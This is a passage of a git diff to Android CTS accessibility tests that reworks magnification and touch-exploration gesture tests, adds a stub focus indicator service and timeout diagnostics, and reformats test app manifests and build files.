-import android.accessibilityservice.GestureDescription;
-import android.accessibilityservice.GestureDescription.StrokeDescription;
-import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
-import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
-import android.app.Instrumentation;
-import android.content.pm.PackageManager;
-import android.graphics.PointF;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.view.ViewConfiguration;
-import android.widget.TextView;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-
-/**
- * Class for testing magnification.
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull
-public class MagnificationGestureHandlerTest {
-
-    private static final double MIN_SCALE = 1.2;
-
-    private InstrumentedAccessibilityService mService;
-    private Instrumentation mInstrumentation;
-    private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
-    float mCurrentScale = 1f;
-    PointF mCurrentZoomCenter = null;
-    PointF mTapLocation;
-    PointF mTapLocation2;
-    float mPan;
-    private boolean mHasTouchscreen;
-    private boolean mOriginalIsMagnificationEnabled;
-
-    private final Object mZoomLock = new Object();
-
-    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
-            new ActivityTestRule<>(GestureDispatchActivity.class);
-
-    private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
-            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
-                    StubMagnificationAccessibilityService.class, false);
-
-    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
-            new AccessibilityDumpOnFailureRule();
-
-    @Rule
-    public final RuleChain mRuleChain = RuleChain
-            .outerRule(mActivityRule)
-            .around(mServiceRule)
-            .around(mDumpOnFailureRule);
-
-    @Before
-    public void setUp() throws Exception {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        PackageManager pm = mInstrumentation.getContext().getPackageManager();
-        mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
-                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-        if (!mHasTouchscreen) return;
-
-        mOriginalIsMagnificationEnabled =
-                Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
-                        Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
-        setMagnificationEnabled(true);
-
-        mService = mServiceRule.enableService();
-        mService.getMagnificationController().addListener(
-                (controller, region, scale, centerX, centerY) -> {
-                    mCurrentScale = scale;
-                    mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
-
-                    synchronized (mZoomLock) {
-                        mZoomLock.notifyAll();
-                    }
-                });
-
-        TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
-        mInstrumentation.runOnMainSync(() -> {
-            view.setOnTouchListener(mTouchListener);
-            int[] xy = new int[2];
-            view.getLocationOnScreen(xy);
-            mTapLocation = new PointF(xy[0] + view.getWidth() / 2, xy[1] + view.getHeight() / 2);
-            mTapLocation2 = add(mTapLocation, 31, 29);
-            mPan = view.getWidth() / 4;
-        });
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (!mHasTouchscreen) return;
-
-        setMagnificationEnabled(mOriginalIsMagnificationEnabled);
-    }
-
-    @Test
-    public void testZoomOnOff() {
-        if (!mHasTouchscreen) return;
-
-        assertFalse(isZoomed());
-
-        assertGesturesPropagateToView();
-        assertFalse(isZoomed());
-
-        setZoomByTripleTapping(true);
-
-        assertGesturesPropagateToView();
-        assertTrue(isZoomed());
-
-        setZoomByTripleTapping(false);
-    }
-
-    @Test
-    public void testViewportDragging() {
-        if (!mHasTouchscreen) return;
-
-        assertFalse(isZoomed());
-        tripleTapAndDragViewport();
-        waitOn(mZoomLock, () -> !isZoomed());
-
-        setZoomByTripleTapping(true);
-        tripleTapAndDragViewport();
-        assertTrue(isZoomed());
-
-        setZoomByTripleTapping(false);
-    }
-
-    @Test
-    public void testPanning() {
-        //The minimum movement to transit to panningState.
-        final float minSwipeDistance = ViewConfiguration.get(
-                mInstrumentation.getContext()).getScaledTouchSlop() + 1;
-        final boolean screenBigEnough = mPan > minSwipeDistance;
-        if (!mHasTouchscreen || !screenBigEnough) return;
-        assertFalse(isZoomed());
-
-        setZoomByTripleTapping(true);
-        final PointF oldCenter = mCurrentZoomCenter;
-
-        // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
-        // to panningState, and the second one to moves the window.
-        final GestureDescription.Builder builder1 = new GestureDescription.Builder();
-        final GestureDescription.Builder builder2 = new GestureDescription.Builder();
-
-        final long totalDuration = ViewConfiguration.getTapTimeout();
-        final long firstDuration = (long)(totalDuration * (minSwipeDistance / mPan));
-
-        for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
-            final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
-            final PointF endPoint = add(startPoint, -mPan, 0);
-            final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
-                    0, firstDuration, true);
-            final StrokeDescription secondStroke = firstStroke.continueStroke(
-                    path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
-            builder1.addStroke(firstStroke);
-            builder2.addStroke(secondStroke);
-        }
-
-        dispatch(builder1.build());
-        dispatch(builder2.build());
-
-        waitOn(mZoomLock,
-                () -> (mCurrentZoomCenter.x - oldCenter.x
-                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
-
-        setZoomByTripleTapping(false);
-    }
-
-    private void setZoomByTripleTapping(boolean desiredZoomState) {
-        if (isZoomed() == desiredZoomState) return;
-        dispatch(tripleTap(mTapLocation));
-        waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
-        mTouchListener.assertNonePropagated();
-    }
-
-    private void tripleTapAndDragViewport() {
-        StrokeDescription down = tripleTapAndHold();
-
-        PointF oldCenter = mCurrentZoomCenter;
-
-        StrokeDescription drag = drag(down, add(lastPointOf(down), mPan, 0f));
-        dispatch(drag);
-        waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
-        assertTrue(isZoomed());
-        mTouchListener.assertNonePropagated();
-
-        dispatch(pointerUp(drag));
-        mTouchListener.assertNonePropagated();
-    }
-
-    private StrokeDescription tripleTapAndHold() {
-        StrokeDescription tap1 = click(mTapLocation);
-        StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, click(mTapLocation2));
-        StrokeDescription down = startingAt(endTimeOf(tap2) + 20, pointerDown(mTapLocation));
-        dispatch(tap1, tap2, down);
-        waitOn(mZoomLock, () -> isZoomed());
-        return down;
-    }
-
-    private void assertGesturesPropagateToView() {
-        dispatch(click(mTapLocation));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
-
-        dispatch(longClick(mTapLocation));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
-
-        dispatch(doubleTap(mTapLocation));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
-
-        dispatch(swipe(
-                mTapLocation,
-                add(mTapLocation, 0, 29)));
-        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
-    }
-
-    private void setMagnificationEnabled(boolean enabled) {
-        Settings.Secure.putInt(mInstrumentation.getContext().getContentResolver(),
-                Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, enabled ? 1 : 0);
-    }
-
-    private boolean isZoomed() {
-        return mCurrentScale >= MIN_SCALE;
-    }
-
-    public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
-        GestureDescription.Builder builder =
-                new GestureDescription.Builder().addStroke(firstStroke);
-        for (StrokeDescription stroke : rest) {
-            builder.addStroke(stroke);
-        }
-        dispatch(builder.build());
-    }
-
-    public void dispatch(GestureDescription gesture) {
-        await(dispatchGesture(mService, gesture));
-    }
-}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
new file mode 100644
index 0000000..ae903cb
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
@@ -0,0 +1,23 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+
+/**
+ * A stub accessibility service to install for testing focus indicator APIs
+ */
+public class StubFocusIndicatorService extends InstrumentedAccessibilityService {
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
index 61a1cea..826e53f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
@@ -21,19 +21,25 @@
 
 import android.view.accessibility.AccessibilityEvent;
 
+import com.android.compatibility.common.util.TestUtils;
+
 /**
  * This accessibility service stub collects all events relating to touch exploration rather than
  * just the few collected by GestureDetectionStubAccessibilityService
  */
 public class TouchExplorationStubAccessibilityService
         extends GestureDetectionStubAccessibilityService {
+
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         synchronized (mLock) {
             switch (event.getEventType()) {
+                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
+                    mCollectedEvents.add(event.getEventType());
+                    mLock.notifyAll();
+                    break;
                 case TYPE_GESTURE_DETECTION_START:
                 case TYPE_GESTURE_DETECTION_END:
-                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
                 case TYPE_VIEW_CLICKED:
                 case TYPE_VIEW_LONG_CLICKED:
                     mCollectedEvents.add(event.getEventType());
@@ -41,4 +47,10 @@
         }
         super.onAccessibilityEvent(event);
     }
+
+    /** Wait for accessibility focus from onAccessibilityEvent(). */
+    public void waitForAccessibilityFocus() {
+        TestUtils.waitOn(mLock, () -> mCollectedEvents.contains(TYPE_VIEW_ACCESSIBILITY_FOCUSED),
+                EVENT_RECOGNIZE_TIMEOUT_MS, "waitForAccessibilityFocus");
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index b0f3570..6580317 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -17,11 +17,14 @@
 package android.accessibilityservice.cts;
 
 import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
 import static android.accessibilityservice.cts.utils.GestureUtils.add;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
 import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
+import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
 import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
@@ -43,6 +46,9 @@
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
 
+import static org.hamcrest.CoreMatchers.both;
+import static org.hamcrest.MatcherAssert.assertThat;
+
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.GestureDescription;
@@ -56,13 +62,13 @@
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.graphics.Point;
 import android.graphics.PointF;
 import android.graphics.Region;
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 import android.view.Display;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
@@ -78,6 +84,8 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+
 /**
  * A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
  * appropriate hover and/or touch events followed by the appropriate accessibility events. Some
@@ -90,7 +98,6 @@
     private static final float GESTURE_LENGTH_MMS = 10.0f;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
-    private UiAutomation mUiAutomation;
     private boolean mHasTouchscreen;
     private boolean mScreenBigEnough;
     private long mSwipeTimeMillis;
@@ -122,9 +129,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mUiAutomation =
-                mInstrumentation.getUiAutomation(
-                        UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen =
                 pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
@@ -132,14 +136,19 @@
         // Find window size, check that it is big enough for gestures.
         // Gestures will start in the center of the window, so we need enough horiz/vert space.
         mService = mServiceRule.enableService();
+        // To prevent a deadlock, we disable UiAutomation while another a11y service is running.
+        mInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES).destroy();
         mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
         WindowManager windowManager =
                 (WindowManager)
                         mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        mScreenBigEnough = mView.getWidth() / 2 >  TypedValue.applyDimension(
-                TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
+        mScreenBigEnough =
+                mView.getWidth() / 2
+                        > TypedValue.applyDimension(
+                                TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
         if (!mHasTouchscreen || !mScreenBigEnough) return;
 
         mView.setOnHoverListener(mHoverListener);
@@ -164,6 +173,7 @@
     @AppModeFull
     public void testSlowSwipe_initiatesTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
+        PointF endPoint = add(mTapLocation, mSwipeDistance, 0);
         dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), mSwipeTimeMillis));
         mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
         mTouchListener.assertNonePropagated();
@@ -179,7 +189,8 @@
     @AppModeFull
     public void testFastSwipe_doesNotInitiateTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
+        PointF endPoint = add(mTapLocation, mSwipeDistance, 0);
+        dispatch(swipe(mTapLocation, endPoint));
         mHoverListener.assertNonePropagated();
         mTouchListener.assertNonePropagated();
         mService.assertPropagated(
@@ -187,6 +198,11 @@
                 TYPE_GESTURE_DETECTION_START,
                 TYPE_GESTURE_DETECTION_END,
                 TYPE_TOUCH_INTERACTION_END);
+        List<MotionEvent> motionEvents = getMotionEventsForLastGesture();
+        assertThat(motionEvents.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(
+                motionEvents.get(motionEvents.size() - 1),
+                both(IS_ACTION_UP).and(isRawAtPoint(endPoint, 1.0f)));
     }
 
     /**
@@ -289,6 +305,11 @@
         mService.assertPropagated(TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
         mService.clearEvents();
         mClickListener.assertNoneClicked();
+        List<MotionEvent> motionEvents = getMotionEventsForLastGesture();
+        assertThat(motionEvents.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(motionEvents.get(1), both(IS_ACTION_UP).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(motionEvents.get(2), both(IS_ACTION_DOWN).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(motionEvents.get(3), both(IS_ACTION_UP).and(isRawAtPoint(mTapLocation, 1.0f)));
     }
 
     /**
@@ -570,11 +591,11 @@
     private void syncAccessibilityFocusToInputFocus() {
         mService.runOnServiceSync(
                 () -> {
-                    mUiAutomation
-                            .getRootInActiveWindow()
-                            .findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
-                            .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                    AccessibilityNodeInfo focus = mService.findFocus(AccessibilityNodeInfo.FOCUS_INPUT);
+                    focus.performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                    focus.recycle();
                 });
+        mService.waitForAccessibilityFocus();
     }
 
     private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
@@ -608,10 +629,14 @@
         mView.getLocationOnScreen(viewLocation);
 
         int top = viewLocation[1];
-        int left = viewLocation[0]  + mView.getWidth() / 2;
-        int right = viewLocation[0]  + mView.getWidth();
+        int left = viewLocation[0] + mView.getWidth() / 2;
+        int right = viewLocation[0] + mView.getWidth();
         int bottom = viewLocation[1] + mView.getHeight();
         Region region = new Region(left, top, right, bottom);
         return region;
     }
+
+    private List<MotionEvent> getMotionEventsForLastGesture() {
+        return mService.getGestureInfo(mService.getGestureInfoSize() - 1).getMotionEvents();
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
index 0fd9477..7f1cd37 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
@@ -52,6 +52,13 @@
         return (both(new AccessibilityEventTypeMatcher(eventType)).and(matchResourceName))::matches;
     }
 
+    public static AccessibilityEventFilter filterForEventTypeWithAction(int eventType, int action) {
+        TypeSafeMatcher<AccessibilityEvent> matchAction =
+                new PropertyMatcher<>(
+                        action, "Action", (event, expect) -> event.getAction() == action);
+        return (both(new AccessibilityEventTypeMatcher(eventType)).and(matchAction))::matches;
+    }
+
     public static AccessibilityEventFilter filterWindowsChangeTypesAndWindowTitle(
             @NonNull UiAutomation uiAutomation, int changeTypes, @NonNull String title) {
         return allOf(new AccessibilityEventTypeMatcher(AccessibilityEvent.TYPE_WINDOWS_CHANGED),
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 34b3fc8..08d0936 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -48,8 +48,10 @@
 
 import com.android.compatibility.common.util.TestUtils;
 
+import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
+import java.util.concurrent.TimeoutException;
 import java.util.function.BooleanSupplier;
 import java.util.stream.Collectors;
 
@@ -255,6 +257,7 @@
         final StringBuilder activityPackage = new StringBuilder();
         final Rect bounds = new Rect();
         final StringBuilder activityTitle = new StringBuilder();
+        final StringBuilder timeoutExceptionRecords = new StringBuilder();
         // Make sure we get window events, so we'll know when the window appears
         AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
@@ -265,36 +268,40 @@
             homeScreenOrBust(instrumentation.getContext(), uiAutomation);
         }
 
-        final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
-                () -> {
-                    mTempActivity = activityLauncher.launchActivity();
-                    instrumentation.runOnMainSync(() -> {
+        try {
+            final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
+                    () -> {
+                        mTempActivity = activityLauncher.launchActivity();
+                        instrumentation.runOnMainSync(() -> {
+                            mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
+                            activityPackage.append(mTempActivity.getPackageName());
+                        });
+                        instrumentation.waitForIdleSync();
+                        activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
+                    },
+                    (event) -> {
+                        final AccessibilityWindowInfo window =
+                                findWindowByTitleAndDisplay(uiAutomation, activityTitle, displayId);
+                        if (window == null) return false;
+                        if (window.getRoot() == null) return false;
+
+                        window.getBoundsInScreen(bounds);
                         mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
-                        activityPackage.append(mTempActivity.getPackageName());
-                    });
-                    instrumentation.waitForIdleSync();
-                    activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
-                },
-                (event) -> {
-                    AccessibilityNodeInfo node = event.getSource();
-                    if (node != null) {
-                        final AccessibilityWindowInfo window = node.getWindow();
-                        if(!TextUtils.equals(activityTitle, window.getTitle())) {
-                            return  false;
-                        }
-                    }
-                    final AccessibilityWindowInfo window =
-                            findWindowByTitleAndDisplay(uiAutomation, activityTitle, displayId);
-                    if (window == null) return false;
-                    window.getBoundsInScreen(bounds);
-                    mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
-                    if (bounds.isEmpty()) {
-                        return false;
-                    }
-                    return (!bounds.isEmpty())
-                            && (bounds.left == location[0]) && (bounds.top == location[1]);
-                }, DEFAULT_TIMEOUT_MS);
-        assertNotNull(awaitedEvent);
+
+                        // Stores the related information including event, location and window
+                        // as a timeout exception record.
+                        timeoutExceptionRecords.append(String.format("{Received event: %s \n"
+                                + "Window location: %s \nA11y window: %s}\n",
+                                event, Arrays.toString(location), window));
+
+                        return (!bounds.isEmpty())
+                                && (bounds.left == location[0]) && (bounds.top == location[1]);
+                    }, DEFAULT_TIMEOUT_MS);
+            assertNotNull(awaitedEvent);
+        } catch (TimeoutException timeout) {
+            throw new TimeoutException(timeout.getMessage() + "\n\nTimeout exception records : \n"
+                    + timeoutExceptionRecords);
+        }
         return (T) mTempActivity;
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
index 4e367a2..32e2b8f0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -381,7 +381,11 @@
         // The first tap
         for (int i = 0; i < fingerCount; i++) {
             pointers[i] = add(basePoint, times(i, delta));
-            strokes[i] = click(pointers[i]);
+            if(tapCount == 1) {
+                strokes[i] = longClick(pointers[i]);
+            } else {
+                strokes[i] = click(pointers[i]);
+            }
         }
         // The rest of taps
         for (int tapIndex = 1; tapIndex < tapCount; tapIndex++) {
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
index a885b05..960d96b 100644
--- a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccessibilityWidgetProvider",
     defaults: ["cts_support_defaults"],
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml b/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml
index e1628bf..af7ae8f 100644
--- a/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="foo.bar.baz"
-          android:targetSandboxVersion="2">
+     package="foo.bar.baz"
+     android:targetSandboxVersion="2">
 
     <application>
-        <receiver android:name="foo.bar.baz.MyAppWidgetProvider" >
+        <receiver android:name="foo.bar.baz.MyAppWidgetProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/appwidget_info" />
+                 android:resource="@xml/appwidget_info"/>
         </receiver>
     </application>
 
diff --git a/tests/accessibilityservice/testsdk29/Android.bp b/tests/accessibilityservice/testsdk29/Android.bp
index 3dc73ad..973bd71 100644
--- a/tests/accessibilityservice/testsdk29/Android.bp
+++ b/tests/accessibilityservice/testsdk29/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAccessibilityServiceSdk29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/accessibilityservice/testsdk29/AndroidManifest.xml b/tests/accessibilityservice/testsdk29/AndroidManifest.xml
index 90b2f5f..ad47ad7 100644
--- a/tests/accessibilityservice/testsdk29/AndroidManifest.xml
+++ b/tests/accessibilityservice/testsdk29/AndroidManifest.xml
@@ -16,37 +16,34 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.accessibilityservice.cts.testsdk29">
+     package="android.accessibilityservice.cts.testsdk29">
 
-    <uses-sdk android:targetSdkVersion="29" />
+    <uses-sdk android:targetSdkVersion="29"/>
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
-                 android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service
-            android:name="android.accessibilityservice.cts.StubAccessibilityButtonSdk29Service"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name="android.accessibilityservice.cts.StubAccessibilityButtonSdk29Service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_accessibility_button_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_accessibility_button_service"/>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.accessibilityservice.cts.testsdk29"
-        android:label="Tests for the accessibility Sdk 29 APIs.">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.accessibilityservice.cts.testsdk29"
+         android:label="Tests for the accessibility Sdk 29 APIs.">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 76a3c14..b7197a4 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -12,14 +12,11 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAdminTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "mockito-target-minus-junit4",
         "truth-prebuilt",
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index 66070cb..b1acd9a 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -49,6 +49,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.admin.cts" />
         <option name="runtime-hint" value="17m" />
+        <option name="exclude-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
     </test>
 
 </configuration>
diff --git a/tests/admin/app/Android.bp b/tests/admin/app/Android.bp
index 970dc3b..23f2cef 100644
--- a/tests/admin/app/Android.bp
+++ b/tests/admin/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAdminApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/admin/app/AndroidManifest.xml b/tests/admin/app/AndroidManifest.xml
index baff9ab..c0eee88 100644
